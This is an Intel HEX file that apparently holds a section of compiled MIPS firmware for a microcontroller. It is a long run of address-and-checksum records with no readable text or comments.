:106dd00088bf033ce060629401000424444a827c42
:106de000e06062a45080822721e8c0034c00bf8f7e
:106df0004800be8f4400b08f5000bd270800e0035c
:106e000000000000e8ffbd271400bfaf1000beafb8
:106e100021f0a0031800c4af1800c48f3bff400f3f
:106e20000000000021e8c0031400bf8f1000be8fd7
:106e30001800bd270800e00300000000c0ffbd27c8
:106e40003c00bfaf3800beaf21f0a0034000c4af8c
:106e50004400c5af1000c227212040004400c58f68
:106e6000fddb400f000000000900401000000000a2
:106e70004000c48f1000c2272128400028000624ab
:106e800063b9400f00000000a5db400b00000000cc
:106e90002110000021e8c0033c00bf8f3800be8fe6
:106ea0004000bd270800e00300000000e8ffbd2708
:106eb0001400bfaf1000beaf21f0a0031800c4af94
:106ec0001c00c5af1800c48f1c00c58fc5db400f68
:106ed0000000000008004010000000001800c48fef
:106ee0001800c58f4000062463b9400f0000000061
:106ef000bfdb400b000000002110000021e8c003b0
:106f00001400bf8f1000be8f1800bd270800e003db
:106f100000000000a8ffbd275400bfaf5000beaf67
:106f20004c00b0af21f0a0035800c4af5c00c5af67
:106f30005c00c48fa34a410f000000000b00422cec
:106f4000040040140000000021100000f6db400b9c
:106f5000000000001000c22721204000300005245e
:106f60000a0006246551410f000000005c00c48f38
:106f7000a34a410f000000000a000324231062000e
:106f80001000c327218062005c00c48fa34a410f18
:106f900000000000212000025c00c58f213040006d
:106fa000494a410f000000001c00c2272120400078
:106fb0001000c22721284000e7b8400f0000000061
:106fc0001c00c2275800c48f21284000a7dc400fb6
:106fd000000000000100022421e8c0035400bf8f1c
:106fe0005000be8f4c00b08f5800bd270800e00352
:106ff00000000000e0ffbd271c00bfaf1800beafbf
:1070000021f0a0032000c4af2400c5af1400c0a32a
:107010001500c0a31600c0a31700c0a300a0023c27
:10702000dc1c44242400c58fe7b8400f000000009a
:10703000040040140000000021100000a1dc400bff
:10704000000000001000c0a322dc400b0000000084
:107050001000c39300a0023cdc1c422421106200fb
:1070600000004390010002240400621000000000b0
:1070700021100000a1dc400b000000001000c293b2
:10708000010042241000c2a31000c2930900422c48
:10709000efff4014000000001000c0a354dc400bc0
:1070a000000000001000c293801002002000c38f77
:1070b000212062001000c3932110600080100200a4
:1070c000211043000900432400a0023cdc1c4224a0
:1070d000211062002128400004000624494a410f83
:1070e000000000001000c293801002002000c38f37
:1070f0002110620021204000212800000400062405
:10710000ffbc400f00000000212040001000c3938e
:107110002110600080100200211043000d00432464
:1071200000a0023cdc1c42242110620000004290be
:10713000040082100000000021100000a1dc400bc0
:10714000000000001000c293010042241000c2a3fe
:107150001000c2930a00422cd2ff4014000000002d
:107160001000c0a379dc400b000000001100c0a398
:1071700072dc400b000000001100c2931100c393a9
:107180001000c42721188300040064901000c393ea
:10719000802803001100c3932118a3002000c58f8d
:1071a0002118a3000000639021188300ff006330c2
:1071b0001000c42721108200040043a01100c293d4
:1071c000010042241100c2a31100c2930400422c0a
:1071d000e9ff4014000000001000c29301004224a7
:1071e0001000c2a31000c2930a00422cdfff40141b
:1071f000000000001000c0a394dc400b0000000061
:107200001000c2931000c3272110620004004290b6
:1072100001004230ff0043301000c2933b00442481
:1072200000a0023cdc1c422421108200000042909d
:10723000040062100000000021100000a1dc400bdf
:10724000000000001000c293010042241000c2a3fd
:107250001000c2930400422ce9ff4014000000001b
:1072600000a0023cdc1c42243f004290040040107d
:107270000000000021100000a1dc400b0000000015
:107280000100022421e8c0031c00bf8f1800be8f3c
:107290002000bd270800e00300000000e0ffbd273c
:1072a0001c00bfaf1800beaf21f0a0032000c4af88
:1072b0002400c5af1400c0a31500c0a31600c0a3ce
:1072c0001700c0a32000c48f010005240900062474
:1072d0006551410f000000002000c28f09004224c8
:1072e0002000c2af1000c0a3eedc400b0000000085
:1072f0001200c0a31200c2931100c2a3dfdc400b36
:10730000000000002400c28f000043902000c28fc4
:10731000000043a02400c28f000043901200c293db
:10732000211062001200c2a31100c2931100c39386
:107330001000c42721188300040064902400c38f28
:107340000000639021188300ff0063301000c42701
:1073500021108200040043a01100c29301004224c6
:107360001100c2a32400c28f010042242400c2af36
:107370002000c28f010042242000c2af1100c2933e
:107380000400422cdfff4014000000001200c293f2
:1073900001004230ff0043302000c28f000043a0b4
:1073a0001000c293010042241000c2a32000c28f2b
:1073b000010042242000c2af1000c2930a00422cf8
:1073c000cbff4014000000001000c0a303dd400b01
:1073d000000000001000c2931000c32721106200bb
:1073e0000400429001004230ff0043302000c28f71
:1073f000000043a01000c293010042241000c2a369
:107400002000c28f010042242000c2af1000c293ae
:107410000400422cefff4014000000002000c28f47
:10742000000040a021e8c0031c00bf8f1800be8fe1
:107430002000bd270800e0030000000060ffbd271a
:107440009c00bfaf9800beaf21f0a003a000c4af66
:107450002110a000a800c6afac00c7afa400c2a313
:107460002c00c22721204000a000c58f7f49410f7a
:1074700000000000a400c383ffff0224210062106b
:1074800000000000a400c2836800c3272120600020
:1074900021284000040006244cb6400f00000000e4
:1074a0006800c2272120400004000524abbc400f27
:1074b000000000006c00c0a36d00c0a36800c227dc
:1074c000212040002128000006000624ffbc400fb8
:1074d000000000006e00c2a3a000c48fa34a410fa9
:1074e000000000002c00c327211862006800c2279a
:1074f000212060002128400007000624aaba400f7e
:1075000000000000a800c28f23004010000000000f
:107510006800c22721204000ac00c58fe7b8400fab
:10752000000000006800c227212040002000052440
:10753000abbc400f000000002c00c22721204000ff
:10754000a34a410f000000002800c2a32800c293f4
:107550002c00c327211862006800c2272120600088
:1075600021284000d9de400f000000002800c2930f
:107570002c00c327211862002800c2932c00c427c6
:107580002110820021206000212840002d000624c7
:10759000aaba400f0000000088bf023c2061428c64
:1075a00002004230200040100000000000a0023c19
:1075b000dc5642249c00428c4218020000a0023c8f
:1075c000dc5642249c00428c0300042421286000e5
:1075d0002130400008000724ce0b410f00000000be
:1075e00000a0023cdc5642249c00438c00a0023cdc
:1075f000dc564224f000428c180062001220000089
:107600009000c4afeb51023c1f8542349000c38f01
:1076100019006200101000004211020021204000f9
:10762000400e410f000000002c00c2272120400026
:10763000f3dd400f000000000400401400000000d3
:1076400021100000eddd400b00000000b000c28ff3
:107650000500401000000000350002242800c2a3ed
:107660009cdd400b00000000080002242800c2a39b
:10767000b800c28f150040100000000000a0023cbe
:10768000dc564224f800438cb800c28f21186200f7
:1076900000a0023cdc5642249c00428c1800620090
:1076a000122000009000c4afeb51023c1f85423411
:1076b0009000c38f190062001010000042110200f8
:1076c00021204000400e410f0000000000a0023cbd
:1076d000dc5642249c00448c00a0023cdc56422430
:1076e000a400458c2800c29300a0033cdc56632410
:1076f000bc0063902138600000a0033cdc5663248a
:107700008c00668c2c00c32700a0083c99570825e4
:107710001000a8af1400a7af1800a6af0100062400
:107720001c00a6af2000a0af21306000213840002f
:10773000a9ff400f00000000211840002800c2935c
:107740001b006214000000002c00c2272120400012
:10775000059d023c9c5f452408000624d352410f3e
:107760000000000004004010000000002110000094
:10777000eddd400b00000000b000c28f090040109a
:10778000000000002c00c22708004224b400c48f6f
:107790002128400038df400f00000000eddd400be5
:1077a0000000000001000224eddd400b000000009d
:1077b0002110000021e8c0039c00bf8f9800be8ffd
:1077c000a000bd270800e00300000000e8ffbd277f
:1077d0001400bfaf1000beaf21f0a0031800c4af6b
:1077e00001000424ff0d410f000000000ade400be1
:1077f0000000000021200000ff0d410f00000000ec
:107800002118400000a0023cdc5642248c00428c2f
:107810002b10430004004010000000002110000065
:107820005dde400b0000000088bf023cd060428c4f
:1078300000014230efff4014000000001ede400b4c
:107840000000000021200000ff0d410f000000009b
:107850002118400000a0023cdc5642248c00428cdf
:107860002b10430004004010000000002110000015
:107870005dde400b0000000088bf023cd060428cff
:1078800000014230efff40100000000000a0023c69
:10789000dc564224e000428c2120400001000524f7
:1078a0009e0c410f0000000000a0023cdc56422468
:1078b000e400428c21204000c80c410f0000000071
:1078c00053de400b000000001800c28f0000439000
:1078d00031000224090062140000000000a0023cf4
:1078e000dc564224e800428c21204000c80c410fa5
:1078f0000000000050de400b0000000004000424e3
:10790000c80c410f0000000000a0023cdc564224dd
:10791000e400428cfcff42242120400001000524a9
:107920009e0c410f0000000000a0023cdc564224e7
:10793000e400428c21204000c80c410f00000000f0
:107940001800c28f010042241800c2af1800c28f75
:1079500000004290dcff40140000000000a0023c48
:10796000dc564224f400428c21204000c80c410f18
:107970000000000021e8c0031400bf8f1000be8f7c
:107980001800bd270800e00300000000e8ffbd2745
:107990001400bfaf1000beaf21f0a0031800c4afa9
:1079a0001800c48f01000524bfde400f0000000056
:1079b00021e8c0031400bf8f1000be8f1800bd2740
:1079c0000800e00300000000d8ffbd272400bfaf7f
:1079d0002000beaf21f0a0031000a0af1400a0afa4
:1079e0001800a0af059d023cc0094424ffff0524f8
:1079f00001000624059d023cc80947240fdd400f05
:107a00000000000021e8c0032400bf8f2000be8fcb
:107a10002800bd270800e00300000000b0ffbd27dc
:107a20004c00bfaf4800beaf21f0a0032110800082
:107a30005400c5af5800c6af5000c2a35000c28367
:107a40001000a0af1400a0af3c0503241800a3afa2
:107a5000059d033cd409642421284000010006242c
:107a60005400c78f0fdd400f000000002000c2afa0
:107a70005800c28f040040140000000001000224de
:107a8000b9de400b000000005000c2932400c32761
:107a90002120600021284000bfde400f00000000d0
:107aa000040040140000000021100000b9de400b6b
:107ab000000000002400c227212040005400c58f90
:107ac00008000624d352410f0000000004004010bb
:107ad0000000000021100000b9de400b0000000093
:107ae0000100022421e8c0034c00bf8f4800be8f74
:107af0005000bd270800e00300000000d8ffbd27ac
:107b00002400bfaf2000beaf21f0a0032800c4af07
:107b10002110a0002c00c2a32c00c283010003246a
:107b20001000a3af2800c38f1400a3af1800a0afac
:107b3000059d033cdc09642421284000213000001d
:107b4000213800000fdd400f0000000021e8c003d5
:107b50002400bf8f2000be8f2800bd270800e0034f
:107b600000000000e8ffbd271400beaf21f0a00315
:107b70001800c4af1c00c5af0400c0a30500c0a31b
:107b80000600c0a30700c0a30800c0a30900c0a34b
:107b90000a00c0a30b00c0a30000c0a319df400b64
:107ba000000000000200c0a30200c2930100c2a3b3
:107bb0000adf400b000000001c00c28f0000439051
:107bc0001800c28f000043a01c00c28f0000439029
:107bd0000200c293211062000200c2a30100c293fe
:107be0000100c3932118c303040064901c00c38fd9
:107bf0000000639021188300ff0063302110c2034e
:107c0000040043a00100c293010042240100c2a36a
:107c10001c00c28f010042241c00c2af1800c28f9a
:107c2000010042241800c2af0100c2930800422c98
:107c3000e1ff4014000000000200c2930100423046
:107c4000ff0043301800c28f000043a00000c29321
:107c5000010042240000c2a31800c28f0100422488
:107c60001800c2af0000c2930400422ccdff4014a4
:107c7000000000000000c0a32ddf400b000000004a
:107c80000000c2932110c203040042900100423060
:107c9000ff0043301800c28f000043a00000c293d1
:107ca000010042240000c2a31800c28f0100422438
:107cb0001800c2af0000c2930800422cf0ff40142d
:107cc000000000001800c28f000040a021e8c0039f
:107cd0001400be8f1800bd270800e003000000005c
:107ce000b8ffbd274400bfaf4000beaf21f0a003e6
:107cf0004800c4af4c00c5af1400c0a31500c0a31a
:107d00001600c0a31700c0a31800c0a31900c0a389
:107d10001a00c0a31b00c0a31000c0a371df400b5a
:107d2000000000001000c293c01002001c00c32716
:107d3000212062001000c39321106000c0100200d7
:107d4000211043004c00c38f211062002128400005
:107d500008000624494a410f000000001000c293a9
:107d6000c01002001c00c327211062002120400027
:107d70002128000008000624ffbc400f000000007e
:107d8000212040001000c39321106000c0100200a9
:107d900021104300080042244c00c38f21106200d0
:107da000000042900400821000000000211000003a
:107db000c8df400b000000001000c2930100422405
:107dc0001000c2a31000c2930400422cd5ff40143f
:107dd000000000001000c0a396df400b0000000070
:107de0001100c0a38fdf400b000000001100c29300
:107df0001100c3931000c42721188300040064906d
:107e00001000c393c02803001100c3932118a300de
:107e10001000c5272118a3000c00639021188300cf
:107e2000ff0063301000c42721108200040043a02b
:107e30001100c293010042241100c2a31100c29399
:107e40000800422ce9ff4014000000001000c2931b
:107e5000010042241000c2a31000c2930400422c6f
:107e6000dfff4014000000001000c0a3b0df400b93
:107e7000000000001000c2931000c3272110620010
:107e80000400429001004230ff0043301000c293d2
:107e9000240042244c00c48f211082000000429034
:107ea000040062100000000021100000c8df400b39
:107eb000000000001000c293010042241000c2a381
:107ec0001000c2930800422ceaff4014000000009a
:107ed0004c00c28f2c00422400004290040040104d
:107ee0000000000021100000c8df400b000000006f
:107ef0001c00c2272120400020000524abbc400ffd
:107f0000000000001c00c2274800c48f2128400048
:107f10002000062463b9400f000000000100022485
:107f200021e8c0034400bf8f4000be8f4800bd273a
:107f30000800e00300000000e0ffbd271c00bfaf09
:107f40001800beaf21f0a0032000c4af2400c5afcd
:107f50002400c48fa9b7400f000000001000c2af7a
:107f6000059d023ce4094424059d023ce8094524a2
:107f70002013410f000000002400c28f0000428047
:107f80004d00401000000000059d023c040a4424fe
:107f90002400c58f2013410f000000001000c38f84
:107fa0000700023c00fe423424106200421202002c
:107fb000059d033c100a6424212840008513410fcd
:107fc000000000001000c28f600042304211020029
:107fd000059d033c340a6424212840008513410f89
:107fe000000000001000c28f600042304219020001
:107ff00000a0023c80180300947242242110620009
:108000000000428c059d033c540a64242128400052
:108010002013410f000000001000c28f1e004230ec
:1080200042100200059d033c5c0a642421284000a4
:108030008513410f000000001000c28f1e00423067
:108040004218020008000224070062140000000029
:10805000059d023c7c0a44242013410f00000000cf
:108060002ce0400b000000001000c28f1e004230c8
:1080700042180200090002240700621400000000f8
:10808000059d023c880a44242013410f0000000093
:108090002ce0400b00000000059d023c940a4424a3
:1080a0002013410f0000000034e0400b00000000ee
:1080b00034e0400b00000000059d023ca00a44246f
:1080c000059d023ca80a45242013410f0000000032
:1080d000059d023cb40a4424059d023cd80a45246f
:1080e0002013410f000000002000c48fa9b7400feb
:1080f000000000001000c2af059d023ce40a4424c9
:108100002000c58f2013410f000000001000c38f16
:108110000004023c24106200821602000500401098
:1081200000000000059d023c080b42244fe0400b7c
:1081300000000000059d023c100b4224059d033cfd
:10814000180b6424212840002013410f0000000078
:108150001000c38f0001023c2410620002160200ce
:108160000500401000000000059d023c080b422461
:1081700060e0400b00000000059d023c100b422413
:10818000059d033c380b6424212840002013410f37
:10819000000000001000c38f8000023c2410620029
:1081a000c21502000500401000000000059d023cc1
:1081b000080b422471e0400b00000000059d023cca
:1081c000100b4224059d033c580b642421284000d9
:1081d0002013410f000000001000c38f1000023c6c
:1081e000241062000215020005004010000000008b
:1081f000059d023c080b422482e0400b0000000079
:10820000059d023c100b4224059d033c780b642421
:10821000212840002013410f000000001000c38ff0
:108220000400023c24106200821402000500401089
:1082300000000000059d023c080b422493e0400b27
:1082400000000000059d023c100b4224059d033cec
:10825000980b6424212840002013410f00000000e7
:108260001000c38f0300023c00c04234241062009f
:1082700082130200059d033cb80b642421284000b2
:108280008513410f000000001000c28f0030423003
:1082900002130200059d033cd80b642421284000f2
:1082a0002013410f000000001000c28f0030423048
:1082b000021b020000a0023c8018030084724224ca
:1082c000211062000000428c059d033c540a642486
:1082d000212840002013410f000000001000c28f31
:1082e000c003423082110200059d033cf80b642458
:1082f000212840002013410f000000001000c28f11
:10830000c0034230821902000100022409006214f5
:1083100000000000059d023c540a4424059d023cd7
:10832000180c45242013410f00000000e1e0400b31
:10833000000000001000c28fc0034230821902000a
:10834000020002240900621400000000059d023ca6
:10835000540a4424059d023c240c45242013410f5b
:1083600000000000e1e0400b00000000059d023c21
:10837000540a4424059d023ca00945242013410fc2
:10838000000000001000c28f3f004230059d033cfa
:108390002c0c6424212840008513410f00000000ac
:1083a0001000c28f3f004230010042244010020002
:1083b000059d033c4c0c6424212840008513410f8b
:1083c000000000000100022421e8c0031c00bf8f50
:1083d0001800be8f2000bd270800e0030000000049
:1083e000e0ffbd271c00bfaf1800beaf21f0a00307
:1083f0002000c4af2000c48fa9b7400f00000000c8
:108400001000c2af00a0023cdc564224a400428c03
:108410000800422c190040140000000000a0023c9b
:10842000dc564224a400428c4100422c1300401030
:10843000000000001000c38fc0ff02242418620057
:1084400000a0023cdc564224a400428cfeff4224e1
:10845000421002003f004230251062001000c2afff
:1084600000a0023cdc564224cc00428c06004014a2
:10847000000000002fe1400b000000002110000070
:1084800064e1400b0000000000a0023cdc564224e6
:10849000a0004390010002240800621400000000c4
:1084a0001000c38f3ffc02242410620040004234bd
:1084b0001000c2af44e1400b0000000000a0023ced
:1084c000dc564224c400428c0e0040100000000024
:1084d00000a0023cdc564224a0004390010002248c
:1084e00008006214000000001000c38f3ffc02244b
:1084f00024106200800042341000c2af44e1400bff
:10850000000000002110000064e1400b00000000aa
:1085100000a0023cdc564224b000428c4211020012
:10852000050042240f00422c04004014000000000b
:108530002110000064e1400b000000001000c38f18
:10854000fcff023cff3f42342418620000a0023cc2
:10855000dc564224b000428c421102000400422446
:108560000f004230802302000300023c00c042346e
:1085700024108200251062001000c2af2000c48fba
:108580001000c58facb6400f0000000001000224af
:1085900021e8c0031c00bf8f1800be8f2000bd273c
:1085a0000800e00300000000e8ffbd271400bfaf93
:1085b0001000beaf21f0a0031800c4af2110a0002e
:1085c0001c00c2a31c00c2931600432c4400601080
:1085d0000000000080180200049d023cf085422447
:1085e000211062000000428c0800400000000000e2
:1085f000e086039d4886039de086039de086039dfb
:10860000e086039de086039de086039de086039d52
:10861000e086039d7486039d7486039de086039d1a
:10862000e086039de086039d7486039dbc86039dc2
:10863000e086039de086039d9886039de086039d6a
:10864000e086039d7486039d1800c48f059d023c3f
:10865000540c452408000624494a410f000000003c
:108660001800c48ff8e0400f00000000b9e1400b93
:10867000000000001800c48f059d023c600c4524da
:1086800008000624494a410f0000000001000224ae
:10869000b9e1400b000000001800c48f059d023caa
:1086a000540c452408000624494a410f00000000ec
:1086b00001000224b9e1400b000000001800c48f43
:1086c000059d023c6c0c452408000624494a410fd4
:1086d0000000000001000224b9e1400b000000008e
:1086e0002110000021e8c0031400bf8f1000be8fce
:1086f0001800bd270800e00300000000b0ffbd2700
:108700004c00bfaf4800beaf21f0a0035000c4af83
:108710005400c5af2000c2272120400063de400f77
:1087200000000000040040140000000021100000c0
:10873000ebe1400b000000005400c28f00004280bb
:108740000400401400000000059d023c780c422407
:108750005400c2af1000a0af1400a0af1800a0af2b
:10876000059d023c840c4424ffff052401000624df
:108770005400c78f0fdd400f000000000a004010ba
:10878000000000005000c28f4f000324000043a0ef
:108790004b000324010043a0020040a0010002247a
:1087a000ebe1400b000000002110000021e8c003b5
:1087b0004c00bf8f4800be8f5000bd270800e0036b
:1087c00000000000c0ffbd273c00bfaf3800beafb7
:1087d00021f0a0034000c4af4400c5af2118c00081
:1087e0004c00c7af5400c28f4800c3a33000c2a3df
:1087f0004800c29300a0033cdc5663249c00688cb4
:1088000000a0033cdc566324e000638c30000424a9
:108810002338830000a0033cdc566324e400668c0c
:1088200000a0033cdc566324e800658c00a0033cf8
:10883000dc566324e000648c00a0033cdc56632417
:10884000f400638c040009241000a9af1400a8af41
:108850001800a7af1c00a0af2000a6af2400a5af52
:108860002800a4af2c00a3af4400c48f21284000ef
:108870004c00c68f01000724313b410f000000006f
:108880000400401400000000211000007ee2400bb4
:10889000000000003000c2930400401400000000fb
:1088a000010002247ee2400b0000000001000424cd
:1088b000ff0d410f000000003de2400b00000000f2
:1088c00021200000ff0d410f000000002118400092
:1088d00000a0023cdc5642248c00428c2b1043004a
:1088e0000400401000000000211000007ee2400b58
:1088f0000000000088bf023cd060428c0001423082
:10890000efff4014000000000a000224448282a30a
:1089100000a0023cdc5642249c00448c00a0023c97
:10892000dc564224a400458c3000c3935000c28f13
:10893000060040100000000000a0023cdc5642246b
:10894000bc00429054e2400b0000000021100000e7
:1089500000a0063cdc56c6248c00c68c00a0073c58
:108960009957e7241000a7af1400a2af1800a6afd4
:10897000010002241c00a2af010002242000a2afcb
:108980004000c68f21386000a9ff400f00000000a2
:10899000211840003000c29316006214000000004d
:1089a00000a0023cdc5642249c00438c00a0023c08
:1089b000dc564224f800428c1800620012200000ad
:1089c0003400c4afeb51023c1f8542343400c38fe6
:1089d0001900620010100000421102002120400026
:1089e000400e410f00000000010002247ee2400b17
:1089f000000000002110000021e8c0033c00bf8ff0
:108a00003800be8f4000bd270800e00300000000d2
:108a1000b0ffbd274c00bfaf4800beaf21f0a003a0
:108a20005000c4afe00c410f0000000000a0023c69
:108a3000dc5642249c00438c00a0023cdc564224bd
:108a4000ec00428c18006200122000004000c4af0d
:108a5000eb51023c1f8542344000c38f1900620075
:108a6000101000004211020021204000400e410f72
:108a70000000000000a0023cdc5642249c00438c15
:108a800000a0023cdc564224f000428c1800620038
:108a9000122000004000c4afeb51023c1f8542345d
:108aa0004000c38f19006200101000004211020044
:108ab00021204000400e410f000000000100022470
:108ac0001000a2af400002241400a2af1800c22779
:108ad00021204000059d023ca8f645240200062402
:108ae00021380000f1e1400f0000000009004010b3
:108af000000000005000c48f1800c2272128400049
:108b00007f49410f0000000001000224c6e2400b33
:108b1000000000002110000021e8c0034c00bf8fbe
:108b20004800be8f5000bd270800e0030000000091
:108b3000b0ffbd274c00bfaf4800beaf21f0a0037f
:108b40005000c4af2110a0005400c2a31900c0a35c
:108b50005400c2930800422c04004014000000009e
:108b6000211000002be3400b000000001c00c22776
:108b70002120400021280000270006246551410fd4
:108b8000000000001c00c22721204000059d023c7f
:108b9000acf6452402000624494a410f00000000bb
:108ba0009c80828f140040100000000031000224dd
:108bb0001e00c2a31c00c227030042242120400043
:108bc00000a0023cc872452446b9400f00000000d6
:108bd0005400c2931c00c32722006324212060009c
:108be0002128400003000624e2b6400f00000000e8
:108bf00008e3400b00000000300002241e00c2a366
:108c00005400c2931c00c32703006324212060008a
:108c10002128400003000624e2b6400f00000000b7
:108c200000a0023cdc564224d400428c1800c2a3af
:108c300025e3400b000000001c00c227212040005b
:108c4000a34a410f00000000ff00423021184000fd
:108c50001900c2931c00c5271000a0af20000424f7
:108c60001400a4af5000c48f2130600021384000b0
:108c7000f1e1400f0000000004004010000000007f
:108c8000010002242be3400b00000000010002243d
:108c90001900c2a31800c293ffff43241800c3a306
:108ca000e5ff4014000000002110000021e8c0038f
:108cb0004c00bf8f4800be8f5000bd270800e00366
:108cc0000000000088ffbd277400bfaf7000beaf7a
:108cd00021f0a003211080007c00c5af8000c6af4a
:108ce0008400c7af7800c2a37800c2930800422c6a
:108cf000040040140000000021100000c2e3400bfb
:108d0000000000001c00c227212040002128000094
:108d1000470006246551410f000000001c00c227d7
:108d200021204000059d023cacf6452402000624ab
:108d3000494a410f00000000020002241800c2a3ab
:108d40009c80828f0c004010000000001800c2932d
:108d50001c00c327211062002120400000a0023c1b
:108d6000c872452446b9400f000000001800c293a5
:108d7000200042241800c2a31800c2931c00c3277d
:108d800021106200212040008000c58f01000624d0
:108d9000e2b6400f000000001800c2930100422418
:108da0001800c2a31800c2931c00c3272110620040
:108db000212040007c00c58f46b9400f0000000014
:108dc0001800c293200042241800c2a31800c293c6
:108dd0001c00c327211862007800c2932120600084
:108de0002128400003000624e2b6400f00000000e6
:108df0001800c293030042241800c2a31c00c2271b
:108e000021204000a34a410f00000000ff00423033
:108e10001c00c3271000a0af1400a0af2120000049
:108e2000212860002130400021380000f1e1400f8e
:108e300000000000040040140000000021100000a9
:108e4000c2e3400b0000000000a0023cdc564224bc
:108e5000f400428ce803432400a0023cdc56422488
:108e60009c00428c18006200122000006800c4af11
:108e7000eb51023c1f8542346800c38f1900620029
:108e8000101000004211020021204000400e410f4e
:108e9000000000008400c28f0400401400000000a5
:108ea00001000224c2e3400b000000007800c293de
:108eb0001c00c3272120600021284000cce2400f85
:108ec0000000000004004014000000002110000019
:108ed000c2e3400b000000001c00c227212040001c
:108ee0007c00c58f08000624d352410f000000000b
:108ef000040040100000000021100000c2e3400bfd
:108f0000000000000100022421e8c0037400bf8fac
:108f10007000be8f7800bd270800e003000000004d
:108f200098ffbd276400bfaf6000beaf21f0a00373
:108f30006800c4af1400c0af300002241100c2a307
:108f40001ee4400b00000000100002241200c2a327
:108f500017e4400b00000000080002241000c2a328
:108f600010e4400b000000004715410f0000000016
:108f700004004010000000001400c28f29e4400be0
:108f8000000000001000c39300a0023cdc56422405
:108f9000e00043ac1100c39300a0023cdc56422425
:108fa000e80043ac1200c39300a0023cdc5642240c
:108fb000e40043ac1800c22721204000f82b410fe9
:108fc000000000001b004010000000001000c293d1
:108fd000059d033cb0f66424212840008513410f11
:108fe000000000001100c293059d033cbcf6642400
:108ff000212840008513410f000000001200c29399
:10900000059d033cc8f66424212840008513410fc8
:10901000000000001800c227059d033cd4f664241c
:10902000212840002013410f00000000010002240d
:109030001400c2af1000c293010042241000c2a36a
:109040001000c2931f00422cc7ff40140000000014
:109050001200c293010042241200c2a31200c29364
:109060002000422cbcff4014000000001100c293fd
:10907000010042241100c2a31100c2934000422cff
:10908000b1ff401400000000059d023ce0f64424be
:10909000059d023ce4f645242013410f000000002a
:1090a0001400c28f21e8c0036400bf8f6000be8f30
:1090b0006800bd270800e00300000000e0ffbd27b6
:1090c0001c00bfaf1800beaf21f0a0032000c4af4a
:1090d0002400c5af2000c48fa9b7400f00000000d6
:1090e0001000c2af059d023ce8f644242000c58f65
:1090f0002013410f000000001000c28f0217020071
:10910000059d033c08f76424212840008513410f86
:10911000000000001000c28f021f0200060002249f
:109120000900621400000000059d023c24f744245d
:10913000059d023c2cf745242013410f0000000040
:1091400065e4400b000000001000c28f021f020007
:10915000090002240900621400000000059d023c81
:1091600024f74424059d023c40f745242013410f79
:109170000000000065e4400b00000000059d023c7b
:1091800024f74424059d023c50f745242013410f49
:10919000000000001000c38f0200023c2410620097
:1091a000421402001400c2af1400c28f0500401028
:1091b00000000000059d023c60f7422473e4400b70
:1091c00000000000059d023c68f74224059d033c19
:1091d00070f76424212840002013410f0000000094
:1091e0001400c28f70004010000000001000c38ff8
:1091f000fc00023c2410620082140200059d033c26
:109200008cf76424212840008513410f00000000e2
:109210001000c38ffc00023c241062008214020084
:109220000100422440100200059d033ca8f764247d
:10923000212840008513410f000000001000c38f5b
:109240000100023c00f042342410620002130200cc
:10925000059d033cb4f76424212840008513410f89
:10926000000000001000c38f0100023c00f04234f7
:1092700024106200021302000900422c290040144d
:10928000000000001000c38f0100023c00f04234d7
:1092900024106200021b0200100002240900621464
:1092a00000000000059d023c24f74424059d023c7b
:1092b000d0f745242013410f00000000d8e4400bf4
:1092c000000000001000c38f0100023c00f0423497
:1092d00024106200021b020018000224090062141c
:1092e00000000000059d023c24f74424059d023c3b
:1092f000e0f745242013410f00000000d8e4400ba4
:1093000000000000059d023c24f74424059d023c1a
:10931000f0f745242013410f00000000d8e4400b73
:10932000000000001000c38f0100023c00f0423436
:1093300024106200021b020000a0023c80180300ff
:10934000b8714224211062000000428c059d033c4c
:1093500024f76424212840002013410f000000005e
:109360001000c28f08004230c210020005004010f9
:1093700000000000059d023c60f74224e3e4400b3e
:1093800000000000059d023c68f74224059d033c57
:10939000f8f76424212840002013410f000000004a
:1093a00049e5400b000000001000c38f1c00023c88
:1093b0002410620082140200059d033c8cf7642493
:1093c000212840008513410f000000001000c38fca
:1093d0001c00023c24106200821c0200059d023c1d
:1093e000ac5f42242110620000004290059d033cc6
:1093f000a8f76424212840008513410f00000000d5
:109400001000c38f0100023c00f0423424106200bf
:1094100002130200059d033cb4f764242128400098
:109420008513410f000000001000c38f0100023cb3
:1094300000f0423424106200021302000900422ca2
:1094400019004014000000001000c38f0100023c0e
:1094500000f0423424106200021b020010000224bb
:109460000900621400000000059d023c24f744241a
:10947000059d023cd0f745242013410f0000000059
:1094800039e5400b00000000059d023c24f7442410
:10949000059d023c10f845242013410f00000000f8
:1094a00039e5400b000000001000c38f0100023cb2
:1094b00000f0423424106200021b020000a0023cb3
:1094c00080180300b8714224211062000000428c11
:1094d000059d033c24f76424212840002013410ffc
:1094e000000000001000c28f08004230c2100200cd
:1094f0000500401000000000059d023c60f742247a
:1095000044e5400b00000000059d023c68f7422442
:10951000059d033c24f86424212840002013410fba
:10952000000000001000c28f000c423082120200c6
:10953000059d033c40f86424212840008513410f19
:10954000000000001000c28f000c423082120200a6
:109550000300422c0900401400000000059d023c5d
:1095600024f74424059d023c5cf845242013410f58
:109570000000000069e5400b000000001000c28ff1
:10958000000c42308212020001004224401002000e
:10959000059d033ca8f76424212840008513410f52
:1095a000000000001000c28fe000423042110200b3
:1095b000059d033c68f86424212840008513410f71
:1095c000000000001000c28f000242304212020070
:1095d0000500401000000000059d023c60f7422499
:1095e0007ce5400b00000000059d023c68f742242a
:1095f000059d033c84f86424212840002013410f7a
:10960000000000001000c28f000142300212020070
:109610000500401000000000059d023c60f7422458
:109620008ce5400b00000000059d023c68f74224d9
:10963000059d033ca0f86424212840002013410f1d
:10964000000000001000c28f100042300211020022
:109650000500401000000000059d023c60f7422418
:109660009ce5400b00000000059d023c68f7422489
:10967000059d033cbcf86424212840002013410fc1
:10968000000000001000c28f04004230821002006f
:109690000500401000000000059d023c60f74224d8
:1096a000ace5400b00000000059d023c68f7422439
:1096b000059d033cd8f86424212840002013410f65
:1096c000000000001000c28f020042304210020071
:1096d0000500401000000000059d023c60f7422498
:1096e000bce5400b00000000059d023c68f74224e9
:1096f000059d033cf4f86424212840002013410f09
:10970000000000001000c28f010042300500401030
:1097100000000000059d023c60f74224cbe5400bb1
:1097200000000000059d023c68f74224059d033cb3
:1097300010f96424212840002013410f000000008c
:10974000059d023c2cf944242400c58f2013410fb1
:10975000000000002400c48f0400052478b7400fe7
:1097600000000000059d023ce0f64424059d023cfb
:10977000e4f645242013410f0000000001000224fc
:1097800021e8c0031c00bf8f1800be8f2000bd273a
:109790000800e00300000000e0ffbd271c00bfaf91
:1097a0001800beaf21f0a0032000c4af2000c48f7a
:1097b000a9b7400f000000001000c2af1600c0a300
